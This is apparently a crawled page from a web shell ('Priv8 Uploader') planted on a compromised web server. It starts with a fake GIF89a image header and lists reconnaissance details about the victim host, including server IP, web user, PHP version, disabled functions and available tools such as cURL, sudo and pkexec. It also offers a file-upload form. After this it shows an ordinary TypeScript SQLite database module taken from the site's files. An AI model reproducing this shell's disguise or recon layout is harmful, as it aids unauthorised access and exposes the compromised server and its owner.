GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/database/ |
Upload File : |
import BetterSqlite3 from "better-sqlite3";
import { Kysely, SqliteDialect } from "kysely";
import { kyselyLogOption } from "./instrumentation.js";
import type { Database } from "./types.js";
export interface DatabaseConfig {
url: string;
authToken?: string;
}
export class EmDashDatabaseError extends Error {
constructor(
message: string,
public override cause?: unknown,
) {
super(message);
this.name = "EmDashDatabaseError";
}
}
/**
* Returns a helpful, actionable message when better-sqlite3's native binary
* was compiled against a different Node.js version than the one running. This
* happens after upgrading Node without rebuilding native deps.
*
* Returns null if the error is not a NODE_MODULE_VERSION mismatch.
*/
export function formatNativeModuleVersionError(error: unknown): string | null {
const message = error instanceof Error ? error.message : String(error);
if (!message.includes("NODE_MODULE_VERSION")) return null;
return (
"better-sqlite3's native binary was compiled against a different Node.js version. " +
"Rebuild it with `pnpm rebuild better-sqlite3` (or `npm rebuild better-sqlite3`), " +
"or reinstall dependencies with your current Node.js version."
);
}
/**
* Creates a Kysely database instance
* Supports:
* - file:./path/to/db.sqlite (local SQLite)
* - :memory: (in-memory SQLite for testing)
* - libsql://... (Turso/libSQL with auth token) - TODO
*/
export function createDatabase(config: DatabaseConfig): Kysely<Database> {
try {
// Handle file-based SQLite
if (config.url.startsWith("file:") || config.url === ":memory:") {
const dbPath = config.url === ":memory:" ? ":memory:" : config.url.replace("file:", "");
const sqlite = new BetterSqlite3(dbPath);
// Enable WAL mode for crash safety — writes go to a write-ahead log
// before being applied, preventing FTS5 shadow table corruption on
// process kill during content writes. No-op for :memory: databases.
sqlite.pragma("journal_mode = WAL");
// Enable foreign key constraints
sqlite.pragma("foreign_keys = ON");
const dialect = new SqliteDialect({
database: sqlite,
});
return new Kysely<Database>({ dialect, log: kyselyLogOption() });
}
// Handle libSQL (Turso)
if (config.url.startsWith("libsql:")) {
if (!config.authToken) {
throw new EmDashDatabaseError("Auth token required for remote libSQL database");
}
// LibSQL implementation would use @libsql/kysely-libsql
throw new EmDashDatabaseError("LibSQL not yet implemented");
}
throw new EmDashDatabaseError(`Unsupported database URL scheme: ${config.url}`);
} catch (error) {
if (error instanceof EmDashDatabaseError) {
throw error;
}
const nativeVersionHint = formatNativeModuleVersionError(error);
if (nativeVersionHint) {
throw new EmDashDatabaseError(nativeVersionHint, error);
}
throw new EmDashDatabaseError("Failed to create database", error);
}
}